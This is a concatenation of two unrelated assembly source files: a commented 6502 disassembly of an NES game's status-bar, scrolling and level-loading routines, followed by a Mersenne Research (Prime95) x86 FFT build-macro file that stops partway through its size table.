STA <Temp_Var3
LDA Score_Temp
ADD #$f0 ; A = Score_Temp + $F0 (tile to display)
STA StatusBar_Score,Y ; Store it as next digit
LDA #$00 ; A = 0
STA Score_Temp ; Score_Temp = 0
INY ; Y++
DEX ; X--
BPL PRG026_B19A ; While digits remain, loop!
LDA StatusBar_Score ; First byte of status bar's score
CMP #$fa
BLT PRG026_B1FC ; If tile is less than $FA (overflow occurred!), jump to PRG026_B1FC
; Tile is greater than $FA...
LDX #$02 ; X = 2
PRG026_B1E9:
LDA PRG026_B172,X
STA Player_Score,X
DEX ; X--
BPL PRG026_B1E9 ; While X >= 0, loop!
; All 9s across score when overflowed
LDX #$05 ; X = 5
LDA #$f9 ; A = $F9
PRG026_B1F6:
STA StatusBar_Score,X
DEX ; X--
BPL PRG026_B1F6 ; While X >= 0, loop
PRG026_B1FC:
; Clear Score_Earned
LDA #$00
STA Score_Earned
STA Score_Earned+1
RTS ; Return
; FIXME: Anybody want to claim this?
; Uses graphics buffer to push out the score unlike the special buffers used by status bar
; $B205
LDX Graphics_BufCnt ; X = graphics buffer count
LDY #$00 ; Y = 0
PRG026_B20A:
LDA PRG026_B156,Y
STA Graphics_Buffer,X
INX ; X++
INY ; Y++
CPY #$0a
BNE PRG026_B20A ; While Y <> $0A, loop
LDX Graphics_BufCnt ; X = graphics buffer count
; Put score in buffer
LDY #$00 ; Y = 0
PRG026_B21B:
LDA StatusBar_Score,Y
STA Graphics_Buffer+3,X
INX ; X++
INY ; Y++
CPY #$06
BNE PRG026_B21B ; While Y <> $06, loop
LDY Graphics_BufCnt ; Y = graphics buffer count
LDX #$27 ; X = $27 (VRAM High address if vertical)
LDA Level_7Vertical
BNE PRG026_B23E ; If level is vertical, jump to PRG026_B23E
LDA Level_Tileset
CMP #16
BEQ PRG026_B23C ; If Level_Tileset = 16 (Spade game), jump to PRG026_B23C
CMP #17
BNE PRG026_B242 ; If Level_Tileset <> 17 (N-Spade game), jump to PRG026_B242
PRG026_B23C:
LDX #$23 ; X = $23 (VRAM High address for Spade/N-Spade bonus games ONLY)
PRG026_B23E:
; Set VRAM high address
TXA
STA Graphics_Buffer,Y
PRG026_B242:
; Update graphics buffer count
TYA
ADD #$09
STA Graphics_BufCnt
RTS ; Return
; FIXME: Anybody want to claim this?
; $B24A
.byte $2B, $28, $08, $EF, $EF, $EF, $EF, $EF, $EF, $3C, $3D, $00
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; StatusBar_Fill_PowerMT
;
; Fills the StatusBar_PMT array with tiles representing
; the current "charge" of the power meter in the status bar
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
StatusBar_Fill_PowerMT:
LDY #$00 ; Y = 0
LDA #$01 ; A = 1
STA <Temp_Var15 ; <Temp_Var15 = 1
; This checks each bit of Player_Power to see if it's set or not,
; and produces the proper state of the '>' in the array StatusBar_PMT
PRG026_B25C:
LDX #$ef ; X = $EF (dark '>')
LDA Player_Power ; Player's current "Power" charge (each "unit" of power sets one more bit in this field)
AND <Temp_Var15 ; A = Player_Power & Temp_Var15
BEQ PRG026_B267 ; If Player_Power bit not set, jump to PRG026_B267
LDX #$ee ; Otherwise, X = $EE (glowing '>')
PRG026_B267:
TXA ; A = X ($EF dark or $EE glowing)
STA StatusBar_PMT,Y ; Store this tile into the buffer
INY ; Y++
ASL <Temp_Var15 ; Shift up to next power bit
LDA <Temp_Var15 ; A = Temp_Var15
CMP #$40
BNE PRG026_B25C ; If Temp_Var15 <> $40, loop!
; Temp_Var15 is $40...
LDX #$3c ; X = $3C (dark [P])
LDA Player_Power ; A = Player_Power
AND <Temp_Var15 ; Checking bit 7 or 8...
BEQ PRG026_B289 ; Not set, jump to PRG026_B289
; Player is at max power! Set [P] flash state
DEC MaxPower_Tick ; PRG026_B289--
LDA MaxPower_Tick ; A = PRG026_B289
AND #$08
BNE PRG026_B289 ; If bit 3 not set, jump to PRG026_B289
LDX #$2c ; X = $2C (light [P])
PRG026_B289:
TXA ; A = X
STA StatusBar_PMT,Y ; Store left half [P] tile as decided
INX ; X++
TXA ; A =X
STA StatusBar_PMT+1,Y ; And the right half
PRG026_B292:
RTS ; Return
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Video_Misc_Updates
;
; This routine appears to be responsible for all video updates
; OTHER than scrolling, which includes palettes, clearing the
; "WORLD x" thing from a world map introduction, updating the
; status bar, printing "COURSE CLEAR!", etc...
;
; Loads data as specified from table Video_Upd_Table in PRG030 (see there for format and data source!)
; Cloned in its entirety in PRG024 (i.e. Video_Misc_Updates2)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Video_Misc_Updates:
LDY #$00 ; Y = 0
LDA [Video_Upd_AddrL],Y ; Get byte
BEQ PRG026_B292 ; If 0, jump to PRG026_B292 (RTS)
LDX PPU_STAT ; Flush video
STA PPU_VRAM_ADDR ; Store byte into video address high
INY ; Y++
LDA [Video_Upd_AddrL],Y ; Get next byte
STA PPU_VRAM_ADDR ; Store byte into video address low
INY ; Y++
LDA [Video_Upd_AddrL],Y ; Get next byte...
ASL A ; Its uppermost bit dictates whether to use horizontal (1B) or vertical (32B) advancement
PHA ; Save A
LDA <PPU_CTL1_Copy ; Get PPU_CTL1 settings
ORA #$04 ; Set PPU update vertical (each write advances by 32)
BCS PRG026_B2B2 ; If bit 7 was set, jump to PRG026_B2B2
AND #$fb ; Otherwise, use horizontal updates! (clears vertical bit)
PRG026_B2B2:
STA PPU_CTL1 ; Update PPU_CTL1
STA <PPU_CTL1_Copy ; Update PPU_CTL1_Copy
PLA ; Restore A
ASL A ; Check next bit...
BCC PRG026_B2BE ; If not set, jump to PRG026_B2BE
ORA #$02 ; Otherwise, remaining value gets bit 1 set (forces skip of first increment)
INY ; Y++
PRG026_B2BE:
; Restore remainder of byte read (6-bits for value)
LSR A
LSR A
TAX ; Keep it in X
; The following will continuously write bytes from the stream
; directly into the PPU 'X+1' times
PRG026_B2C1:
BCS PRG026_B2C4 ; If carry set, jump to PRG026_B2C4
INY ; Y++
PRG026_B2C4:
LDA [Video_Upd_AddrL],Y ; Get next byte
STA PPU_VRAM_DATA ; Store into PPU
DEX ; X--
BNE PRG026_B2C1 ; While X <> 0, loop!
; This advances the current position of the pointer so 'Y' can go
; back to zero and we begin again...
INY ; Y++
TYA ; A = Y
ADD <Video_Upd_AddrL
STA <Video_Upd_AddrL
LDA <Video_Upd_AddrH
ADC #$00
STA <Video_Upd_AddrH ; Entire video address value has 'Y' added to it
JMP Video_Misc_Updates ; Jump back to start to process next command or terminate!
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Scroll_Commit_Column
;
; This subroutine takes the buffered set of tiles in Scroll_PatStrip
; and commits them to actual VRAM, OR it takes the buffer attribute
; bytes and commits those.
; Used by both the world map and a standard horizontally scrolling level
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Scroll_Commit_Column:
LDA PPU_STAT
LDA Scroll_ToVRAMHi ; A = Scroll_ToVRAMHi
BEQ PRG026_B354 ; If Scroll_ToVRAMHi = 0, jump to PRG030_B354
LDX #$00 ; X = 0
LDA Scroll_ToVRAMHi ; A = Scroll_ToVRAMHi
STA PPU_VRAM_ADDR ; Write as high byte to VRAM address
LDA Scroll_LastCol8
STA PPU_VRAM_ADDR ; Low byte is Scroll_LastCol8
LDA <PPU_CTL1_Copy ; Get the PPU_CTL1
ORA #$04 ; Use vertical update mode
STA PPU_CTL1 ; Set PPU_CTL1
PRG026_B2F9:
; Push 5 blocks in
LDA Scroll_PatStrip,X
STA PPU_VRAM_DATA
LDA Scroll_PatStrip+1,X
STA PPU_VRAM_DATA
LDA Scroll_PatStrip+2,X
STA PPU_VRAM_DATA
LDA Scroll_PatStrip+3,X
STA PPU_VRAM_DATA
LDA Scroll_PatStrip+4,X
STA PPU_VRAM_DATA
INX
INX
INX
INX
INX ; X += 5
CPX #30
BNE PRG026_B2F9 ; While X < 30, loop!
; Begin update on Nametable 2
LDA Scroll_ToVRAMHi
ORA #$08
STA PPU_VRAM_ADDR
LDA Scroll_LastCol8
STA PPU_VRAM_ADDR
PRG026_B32E:
; Push another 4
LDA Scroll_PatStrip,X
STA PPU_VRAM_DATA
LDA Scroll_PatStrip+1,X
STA PPU_VRAM_DATA
LDA Scroll_PatStrip+2,X
STA PPU_VRAM_DATA
LDA Scroll_PatStrip+3,X
STA PPU_VRAM_DATA
INX
INX
INX
INX ; X += 4
CPX #30+24 ; 24 more rows...!
BNE PRG026_B32E ; While X < 54, loop! (54 rows of 8 gets down to the status bar in the NTSC model)
LDA #$00
STA Scroll_ToVRAMHi ; Scroll_ToVRAMHi = 0
RTS ; Return
PRG026_B354:
; If Scroll_ToVRAMHi = 0 ... do we need to commit any attribute updates??
LDA Scroll_ToVRAMHA
BEQ PRG026_B38E ; If Scroll_ToVRAMHA = 0, jump to PRG026_B38E (RTS)
; Commiting attribute updates...
LDA <PPU_CTL1_Copy
STA PPU_CTL1 ; Update PPU_CTL1
LDX #$00 ; X = 0
LDY Scroll_LastAttr ; Y = Scroll_LastAttr (low part)
PRG026_B363:
LDA Scroll_ToVRAMHA ; A = Scroll_ToVRAMHA (high part)
STA PPU_VRAM_ADDR ; Set high address
STY PPU_VRAM_ADDR ; Set low address
LDA Scroll_AttrStrip,X ; Get next attribute byte
STA PPU_VRAM_DATA ; Commit it!
TYA
ADD #$08
TAY ; Y += 8
BCC PRG026_B384 ; If we haven't overflowed, jump to PRG026_B384
; Update high byte
LDA Scroll_ToVRAMHA
EOR #$08 ; Flips to attribute table 2
STA Scroll_ToVRAMHA
LDY Scroll_LastAttr ; Get low byte
PRG026_B384:
INX ; X++
CPX #14
BNE PRG026_B363 ; If X <> 14, loop!
LDA #$00
STA Scroll_ToVRAMHA ; Scroll_ToVRAMHA = 0 (update complete!)
PRG026_B38E:
RTS ; Return
Scroll_ToVRAM_Apply:
LDA PPU_STAT
LDA Scroll_ToVRAMHi
BEQ PRG026_B3BD ; If Scroll_ToVRAMHi = 0 (no scrolled pattern update required), jump to PRG026_B3BD
LDX #$00 ; X = 0
; Set high byte of VRAM address
LDA Scroll_ToVRAMHi
STA PPU_VRAM_ADDR
; Set low byte of VRAM address
LDA Scroll_LastCol8
STA PPU_VRAM_ADDR
; Do increment by 1
LDA <PPU_CTL1_Copy
AND #~$04
STA PPU_CTL1
PRG026_B3AC:
LDA Scroll_PatStrip,X ; Get next block
STA PPU_VRAM_DATA ; Write to VRAM
INX ; X++
CPX #32
BNE PRG026_B3AC ; While X < 32, loop!
; Scroll_ToVRAMHi = 0 (update complete)
LDA #$00
STA Scroll_ToVRAMHi ; Scroll_ToVRAMHi = 0
RTS ; Return
PRG026_B3BD:
LDA Scroll_ToVRAMHA
BEQ PRG026_B3E5 ; If Scroll_ToVRAMHA = 0 (no scrolled attribute update required), jump to PRG026_B3E5 (RTS)
; Reset PPU_CTL1
LDA <PPU_CTL1_Copy
STA PPU_CTL1
LDX #$00 ; X = 0
; Set high byte of VRAM address
LDA Scroll_ToVRAMHA
STA PPU_VRAM_ADDR
; Set low byte of VRAM address
LDA Scroll_LastAttr
STA PPU_VRAM_ADDR
PRG026_B3D5:
; Set next byte of attribute data
LDA Scroll_AttrStrip,X
STA PPU_VRAM_DATA
INX ; X++ (next attribute byte)
CPX #$08
BLT PRG026_B3D5 ; While X < 8, loop!
; Scroll_ToVRAMHA = 0 (update complete)
LDA #$00
STA Scroll_ToVRAMHA
PRG026_B3E5:
RTS ; Return
TileChng_VRAMCommit:
LDY TileChng_VRAM_H
BEQ PRG026_B38E ; If TileChng_VRAM_H = 0 (no tile change to do), jump to PRG026_B38E (RTS)
LDA PPU_STAT
; Switch to +1 increment mode
LDA <PPU_CTL1_Copy
AND #~$04
STA PPU_CTL1
LDA TileChng_VRAM_L ; Get VRAM low address
STY PPU_VRAM_ADDR ; Set VRAM high address
STA PPU_VRAM_ADDR ; Set VRAM low address
; Commit the top two patterns
LDA TileChng_Pats
STA PPU_VRAM_DATA
LDA TileChng_Pats+1
STA PPU_VRAM_DATA
; Set VRAM address at base +32
LDA TileChng_VRAM_L
ADD #32 ; +32 to jump to next line
STY PPU_VRAM_ADDR
STA PPU_VRAM_ADDR
; Commit the lower two patterns
LDA TileChng_Pats+2
STA PPU_VRAM_DATA
LDA TileChng_Pats+3
STA PPU_VRAM_DATA
; TileChng_VRAM_H = 0 (Tile update commit completed!)
LDA #$00
STA TileChng_VRAM_H
RTS ; Return
; Same format as data from Video_Upd_Table in PRG030, check there for details
; This is used as a template, but actual values will be overwritten below...
StatusBar_UpdTemplate:
vaddr $2B28
.byte $0C, $EF, $EF, $EF, $EF, $EF, $EF, $AE, $AF, $FE, $EC, $F0, $F0
vaddr $2B45
.byte $0F, $FE, $F0, $FE, $F0, $F0, $F0, $F0, $F0, $F0, $F0, $FE, $ED, $F0, $F0, $F0
.byte $00 ; Terminator
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; StatusBar_UpdateValues
;
; This subroutine basically handles all of the status bar updates
; besides cards; it inserts all of the following data:
; Power meter, coins, lives, score, time
; ... and performs updates where relevant, and even pushes it to the
; graphics buffer for commitment later on!
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
StatusBar_UpdateValues:
JSR StatusBar_Fill_PowerMT ; Fill in StatusBar_PMT with tiles of current Power Meter state
JSR StatusBar_Fill_Coins ; Fill in StatusBar_CoinsL/H with tiles for coins held; also applies Coins_Earned
JSR StatusBar_Fill_Lives ; Fill in StatusBar_LivesL/H with tiles for lives held
JSR StatusBar_Fill_Score ; Fill in StatusBar_Score with tiles for score; also applies Score_Earned
JSR StatusBar_Fill_Time ; Fill in StatusBar_Time with tiles for time; also updates clock
LDX #$00 ; X = 0
LDY Graphics_BufCnt ; Y = Graphics_BufCnt
BEQ PRG026_B466 ; If graphics buffer is empty, jump to PRG026_B466
; Graphics buffer has content... skips delay functionality:
STX StatusBar_UpdFl ; StatusBar_UpdFl = 0
JMP PRG026_B47A ; Jump to PRG026_B47A
PRG026_B466:
; No data in graphics buffer, adds delay functionality
; Basically, only one of two frames update the status
; bar if the buffer is otherwise empty... I guess the
; contrary is "well, they'll be processing update data
; anyway, so we might as well get in there..."
INC StatusBar_UpdFl ; StatusBar_UpdFl++
LDA StatusBar_UpdFl ; A = StatusBar_UpdFl
AND #$01 ; going for a toggle
BNE PRG026_B47A ; If set, jump to PRG026_B47A
LDA #$00
STA StatusBar_UpdFl ; StatusBar_UpdFl = 0
LDA #$06 ;
STA <Graphics_Queue ; Set Graphics_Queue = 6 (6?? Does it matter?)
RTS ; Return
; Arriving, X = 0, Y = Graphics_BufCnt
; Copy StatusBar_UpdTemplate into the graphics buffer, which makes
; room for everything to be done to the status bar, and includes
; things like the video addresses and whatnot...
PRG026_B47A:
LDA StatusBar_UpdTemplate,X ; Get next byte from StatusBar_UpdTemplate
STA Graphics_Buffer,Y ; Store it into the graphics buffer
INY ; Y++
INX ; X++
CPX #$22
BNE PRG026_B47A ; If X <> $22, loop!
; *** Power meter copy loop
LDY Graphics_BufCnt ; Y = Graphics_BufCnt
LDX #$00 ; X = 0
PRG026_B48B:
LDA StatusBar_PMT,X
STA Graphics_Buffer+3,Y
INY ; Y++
INX ; X++
CPX #$08
BNE PRG026_B48B ; While X <> 8, loop!
; *** Coins copy
LDY Graphics_BufCnt ; Y = Graphics_BufCnt
LDA StatusBar_CoinH
STA Graphics_Buffer+13,Y
LDA StatusBar_CoinL
STA Graphics_Buffer+14,Y
; *** Lives copy
LDY Graphics_BufCnt ; Y = Graphics_BufCnt
LDA StatusBar_LivesH
STA Graphics_Buffer+18,Y
LDA StatusBar_LivesL
STA Graphics_Buffer+19,Y
; *** Score copy loop
LDY Graphics_BufCnt ; Y = Graphics_BufCnt
LDX #$00 ; X = 0
PRG026_B4BA:
LDA StatusBar_Score,X
STA Graphics_Buffer+21,Y
INY ; Y++
INX ; X++
CPX #$06
BNE PRG026_B4BA ; If X <> 6, loop!
; *** Time copy loop
LDY Graphics_BufCnt ; Y = Graphics_BufCnt
LDX #$00 ; X = 0
PRG026_B4CB:
LDA StatusBar_Time,X
STA Graphics_Buffer+30,Y
INY ; Y++
INX ; X++
CPX #$03
BNE PRG026_B4CB ; If X <> 3, loop!
LDY Graphics_BufCnt ; Y = Graphics_BufCnt
LDX #$27 ; X = $27 (VRAM High address if vertical)
LDA Level_7Vertical
BNE PRG026_B4EE ; If level is vertical, jump to PRG026_B4EE
LDA Level_Tileset
CMP #16
BEQ PRG026_B4EC ; If Level_Tileset = 16 (Spade game), jump to PRG026_B4EC
CMP #17
BNE PRG026_B4F5 ; If Level_Tileset = 17 (N-Spade game), jump to PRG026_B4F5
PRG026_B4EC:
LDX #$23 ; X = $23 (VRAM High address for Spade/N-Spade bonus games ONLY)
PRG026_B4EE:
; VRAM High address
TXA
STA Graphics_Buffer,Y
STA Graphics_Buffer+15,Y
PRG026_B4F5:
; Update graphics buffer count
LDA Graphics_BufCnt
ADD #$21
STA Graphics_BufCnt
RTS ; Return
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; LevelLoad_CopyObjectList
;
; Copies the level's object list in from ROM to RAM
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
LevelLoad_CopyObjectList:
LDY #$00 ; Y = 0
LDA [Level_ObjPtr_AddrL],Y ; Get first byte from object layout data
STA Level_Objects,Y ; Copy to beginning of Level_Objects array
PRG026_B506:
; Next byte is ID of object (or $FF to terminate the list)
INY
LDA [Level_ObjPtr_AddrL],Y
STA Level_Objects,Y
CMP #$ff
BEQ PRG026_B51F ; If terminator hit, jump to PRG026_B51F (RTS)
; Copy in start column of object
INY
LDA [Level_ObjPtr_AddrL],Y
STA Level_Objects,Y
; Copy in start row of object
INY
LDA [Level_ObjPtr_AddrL],Y
STA Level_Objects,Y
JMP PRG026_B506 ; Loop!
PRG026_B51F:
RTS ; Return
; Rest of ROM bank was empty...
|
; Copyright 2011-2017 Mersenne Research, Inc. All rights reserved
; Author: George Woltman
; Email: woltman@alum.mit.edu
;
; These FFTs were split out of yr4dwpn5.asm because of HJWASM limitations.
;
TITLE setup
yfft_type TEXTEQU <r4dwpn>
INCLUDE unravel.mac
INCLUDE extrn.mac
INCLUDE yarch.mac
INCLUDE ybasics.mac
INCLUDE ymult.mac
INCLUDE yr4.mac
INCLUDE yr4dwpnpass1sc.mac
INCLUDE yr4dwpnpass2.mac
_TEXT SEGMENT
;; Generate pass 2 routines optimized for this architecture
buildfor CORE + FMA3_64, ypass2gen 4608
buildfor CORE + FMA3_64, ypass2gen 6144
buildfor CORE + FMA3_64, ypass2gen 7680
buildfor CORE + FMA3_64, ypass2gen 13
buildfor CORE + FMA3_64, ypass2gen 10240
buildfor CORE + FMA3_64, ypass2gen 12800
;; Routines for many FFT sizes
; The 13 levels variants (4608, 6144, 7680, 8192, 10240, 12800)
IFNDEF X86_64
build421 , , , yr4dwpn_pass1sc128 576K, 4608
build421 , , , yr4dwpn_pass1sc128 768K, 6144
build421 , , , yr4dwpn_pass1sc128 960K, 7680
build421 , , , yr4dwpn_pass1sc128 1M, 13
build421 , , , yr4dwpn_pass1sc128 1280K, 10240
build421 , , , yr4dwpn_pass1sc128 1600K, 12800
build421 , , , yr4dwpn_pass1sc256 1152K, 4608
build421 , , , yr4dwpn_pass1sc256 1536K, 6144
build421 , , , yr4dwpn_pass1sc256 1920K, 7680
build421 , , , yr4dwpn_pass1sc256 2M, 13
build421 , , , yr4dwpn_pass1sc256 2560K, 10240
build421 , , CORE_64, yr4dwpn_pass1sc256 3200K, 12800
build421 , FMA3_64, , yr4dwpn_pass1sc320 1440K, 4608
build421 , FMA3_64, , yr4dwpn_pass1sc320 1920K, 6144
build421 CORE_64 + FMA3_64, CORE_64 + FMA3_64, CORE_64 + FMA3_64, yr4dwpn_pass1sc320 2400K, 7680
build421 , , , yr4dwpn_pass1sc320 2560K, 13
build421 , FMA3_64, , yr4dwpn_pass1sc320 3200K, 10240
build421 , , , yr4dwpn_pass1sc320 4000K, 12800
build421 , , CORE_32 + FMA3_64, yr4dwpn_pass1sc384 1728K, 4608
build421 , CORE_32 + FMA3_64, CORE_64, yr4dwpn_pass1sc384 2304K, 6144
build421 , CORE_32 + FMA3_64, CORE_64, yr4dwpn_pass1sc384 2880K, 7680
build421 , , , yr4dwpn_pass1sc384 3M, 13
build421 , FMA3_64, , yr4dwpn_pass1sc384 3840K, 10240
build421 , , , yr4dwpn_pass1sc384 4800K, 12800
build421 , FMA3_64, , yr4dwpn_pass1sc448 2016K, 4608
build421 , CORE + FMA3_64, , yr4dwpn_pass1sc448 2688K, 6144
build421 , CORE_64 + FMA3_64, , yr4dwpn_pass1sc448 3360K, 7680
build421 , CORE_32, , yr4dwpn_pass1sc448 3584K, 13
build421 , CORE_64 + FMA3_64, , yr4dwpn_pass1sc448 4480K, 10240
build421 , , , yr4dwpn_pass1sc448 5600K, 12800
build421 , , , yr4dwpn_pass1sc512 2304K, 4608
build421 , , , yr4dwpn_pass1sc512 3M, 6144
build421 , , , yr4dwpn_pass1sc512 3840K, 7680
build421 , CORE_32, , yr4dwpn_pass1sc512 4M, 13
build421 , , , yr4dwpn_pass1sc512 5M, 10240
build421 , , , yr4dwpn_pass1sc512 6400K, 12800
build421 , , , yr4dwpn_pass1sc640 2880K, 4608
build421 , , , yr4dwpn_pass1sc640 3840K, 6144
build421 , CORE_64 + FMA3_64, , yr4dwpn_pass1sc640 4800K, 7680
build421 , CORE_32, , yr4dwpn_pass1sc640 5M, 13
build421 , CORE + FMA3_64, , yr4dwpn_pass1sc640 6400K, 10240
build421 , CORE_64 + FMA3_64, , yr4dwpn_pass1sc640 8000K, 12800
build421 , FMA3_64, , yr4dwpn_pass1sc768 3456K, 4608
build421 , CORE_32 + FMA3_64, , yr4dwpn_pass1sc768 4608K, 6144
build421 , FMA3_64, , yr4dwpn_pass1sc768 5760K, 7680
build421 , CORE_32 + FMA3_64, , yr4dwpn_pass1sc768 6M, 13
build421 , CORE + FMA3_64, , yr4dwpn_pass1sc768 7680K, 10240
build421 , , , yr4dwpn_pass1sc768 9600K, 12800
build421 , , , yr4dwpn_pass1sc896 4032K, 4608
build421 , CORE_32 + FMA3_64, , yr4dwpn_pass1sc896 5376K, 6144
build421 , FMA3_64, , yr4dwpn_pass1sc896 6720K, 7680
build421 , CORE_32 + FMA3_64, , yr4dwpn_pass1sc896 7M, 13
build421 , CORE_32 + FMA3_64, , yr4dwpn_pass1sc896 8960K, 10240
build421 , CORE_32 + FMA3_64, , yr4dwpn_pass1sc896 11200K, 12800
build421 , , , yr4dwpn_pass1sc1024 4608K, 4608
build421 , , , yr4dwpn_pass1sc1024 6M, 6144
build421 , , , yr4dwpn_pass1sc1024 7680K, 7680
build421 , CORE_32 + FMA3_64, , yr4dwpn_pass1sc1024 8M, 13
build421 , CORE + FMA3_64, , yr4dwpn_pass1sc1024 10M, 10240
build421 , , , yr4dwpn_pass1sc1024 12800K, 12800
build421 , , , yr4dwpn_pass1sc1280 5760K, 4608
build421 , , , yr4dwpn_pass1sc1280 7680K, 6144
build421 FMA3_64, , , yr4dwpn_pass1sc1280 9600K, 7680
build421 , , , yr4dwpn_pass1sc1280 10M, 13
build421 FMA3_64, , , yr4dwpn_pass1sc1280 12800K, 10240
build421 FMA3_64, , , yr4dwpn_pass1sc1280 16000K, 12800
build421 , , , yr4dwpn_pass1sc1536 6912K, 4608
build421 , , , yr4dwpn_pass1sc1536 9M, 6144
build421 , , , yr4dwpn_pass1sc1536 11520K, 7680
build421 CORE_64 + FMA3_64, , , yr4dwpn_pass1sc1536 12M, 13
build421 CORE + FMA3_64, , , yr4dwpn_pass1sc1536 15M, 10240
build421 , , , yr4dwpn_pass1sc1536 19200K, 12800
build421 , , , yr4dwpn_pass1sc1792 8064K, 4608
build421 , , , yr4dwpn_pass1sc1792 10752K, 6144
build421 , , , yr4dwpn_pass1sc1792 13440K, 7680
build421 CORE, , , yr4dwpn_pass1sc1792 14M, 13
build421 CORE, , , yr4dwpn_pass1sc1792 17920K, 10240
build421 CORE_64 + FMA3_64, , , yr4dwpn_pass1sc1792 22400K, 12800
build421 , , , yr4dwpn_pass1sc2048 9M, 4608
build421 CORE_32, , , yr4dwpn_pass1sc2048 12M, 6144
build421 , , , yr4dwpn_pass1sc2048 15M, 7680
build421 CORE_32, FMA3_64, , yr4dwpn_pass1sc2048 16M, 13
build421 CORE_32, , , yr4dwpn_pass1sc2048 20M, 10240
build421 , , , yr4dwpn_pass1sc2048 25M, 12800
;build421 , , , yr4dwpn_pass1sc2560 11520K, 4608
;build421 , , , yr4dwpn_pass1sc2560 15M, 6144
;build421 , , , yr4dwpn_pass1sc2560 19200K, 7680
;build421 , , , yr4dwpn_pass1sc2560 20M, 13
;build421 , , , yr4dwpn_pass1sc2560 25M, 10240
;build421 , , , yr4dwpn_pass1sc2560 32000K, 12800
;build421 , , , yr4dwpn_pass1sc3072 13824K, 4608
;build421 , , , yr4dwpn_pass1sc3072 18M, 6144
;build421 , , , yr4dwpn_pass1sc3072 23040K, 7680
;build421 , , , yr4dwpn_pass1sc3072 24M, 13
;build421 , , , yr4dwpn_pass1sc3072 30M, 10240
;build421 , , , yr4dwpn_pass1sc3072 38400K, 12800
;build421 , , , yr4dwpn_pass1sc3584 16128K, 4608
;build421 , , , yr4dwpn_pass1sc3584 21M, 6144
;build421 , , , yr4dwpn_pass1sc3584 26880K, 7680
;build421 , , , yr4dwpn_pass1sc3584 28M, 13
;build421 , , , yr4dwpn_pass1sc3584 35840K, 10240
;build421 , , , yr4dwpn_pass1sc3584 44800K, 12800
;build421 , , , yr4dwpn_pass1sc4096 18M, 4608
;build421 , , , yr4dwpn_pass1sc4096 24M, 6144
;build421 , , , yr4dwpn_pass1sc4096 30M, 7680
;build421 , , , yr4dwpn_pass1sc4096 32M, 13
;build421 , , , yr4dwpn_pass1sc4096 40M, 10240
;build421 , , , yr4dwpn_pass1sc4096 50M, 12800
ENDIF
; The all-complex 13 levels variants (4608, 6144, 7680, 8192, 10240, 12800)
IFNDEF X86_64
build421 , , , yr4dwpn_pass1sc128ac 576K, 4608
build421 , , , yr4dwpn_pass1sc128ac 768K, 6144
build421 , , , yr4dwpn_pass1sc128ac 960K, 7680
build421 , , , yr4dwpn_pass1sc128ac 1M, 13
build421 , , , yr4dwpn_pass1sc128ac 1280K, 10240
build421 , , , yr4dwpn_pass1sc128ac 1600K, 12800
build421 , , , yr4dwpn_pass1sc256ac 1152K, 4608
build421 , , , yr4dwpn_pass1sc256ac 1536K, 6144
build421 , , , yr4dwpn_pass1sc256ac 1920K, 7680
build421 , , , yr4dwpn_pass1sc256ac 2M, 13
build421 , , , yr4dwpn_pass1sc256ac 2560K, 10240
build421 , , , yr4dwpn_pass1sc256ac 3200K, 12800
build421 , CORE_32 + FMA3_64, CORE_64, yr4dwpn_pass1sc384ac 1728K, 4608
build421 , CORE_32 + FMA3_64, CORE_64, yr4dwpn_pass1sc384ac 2304K, 6144
build421 , CORE_64 + FMA3_64, , yr4dwpn_pass1sc384ac 2880K, 7680
build421 , , , yr4dwpn_pass1sc384ac 3M, 13
build421 , FMA3_64, , yr4dwpn_pass1sc384ac 3840K, 10240
build421 , , , yr4dwpn_pass1sc384ac 4800K, 12800
build421 , , , yr4dwpn_pass1sc512ac 2304K, 4608
build421 , CORE + FMA3_64, , yr4dwpn_pass1sc512ac 3M, 6144
build421 , CORE, , yr4dwpn_pass1sc512ac 3840K, 7680
build421 CORE_64, CORE_32, , yr4dwpn_pass1sc512ac 4M, 13
build421 , CORE_64 + FMA3_64, , yr4dwpn_pass1sc512ac 5M, 10240
build421 , CORE, , yr4dwpn_pass1sc512ac 6400K, 12800
build421 , CORE_32, , yr4dwpn_pass1sc640ac 2880K, 4608
build421 , , , yr4dwpn_pass1sc640ac 3840K, 6144
build421 , CORE_64 + FMA3_64, , yr4dwpn_pass1sc640ac 4800K, 7680
build421 , CORE_32, , yr4dwpn_pass1sc640ac 5M, 13
build421 FMA3_64, , , yr4dwpn_pass1sc640ac 6400K, 10240
build421 CORE_64, , , yr4dwpn_pass1sc640ac 8000K, 12800
build421 , FMA3_64, , yr4dwpn_pass1sc768ac 3456K, 4608
build421 , FMA3_64, , yr4dwpn_pass1sc768ac 4608K, 6144
build421 , FMA3_64, , yr4dwpn_pass1sc768ac 5760K, 7680
build421 , CORE_32, , yr4dwpn_pass1sc768ac 6M, 13
build421 , , , yr4dwpn_pass1sc768ac 7680K, 10240
build421 , CORE_32, , yr4dwpn_pass1sc768ac 9600K, 12800
build421 , , , yr4dwpn_pass1sc1024ac 4608K, 4608
build421 FMA3_64, , , yr4dwpn_pass1sc1024ac 6M, 6144
build421 FMA3_64, , , yr4dwpn_pass1sc1024ac 7680K, 7680
build421 , CORE_32 + FMA3_64, , yr4dwpn_pass1sc1024ac 8M, 13
build421 FMA3_64, , , yr4dwpn_pass1sc1024ac 10M, 10240
build421 , , , yr4dwpn_pass1sc1024ac 12800K, 12800
build421 , , , yr4dwpn_pass1sc1280ac 5760K, 4608
build421 , , , yr4dwpn_pass1sc1280ac 7680K, 6144
build421 FMA3_64, , , yr4dwpn_pass1sc1280ac 9600K, 7680
build421 , , , yr4dwpn_pass1sc1280ac 10M, 13
build421 FMA3_64, , , yr4dwpn_pass1sc1280ac 12800K, 10240
build421 , , , yr4dwpn_pass1sc1280ac 16000K, 12800
build421 , , , yr4dwpn_pass1sc1536ac 6912K, 4608
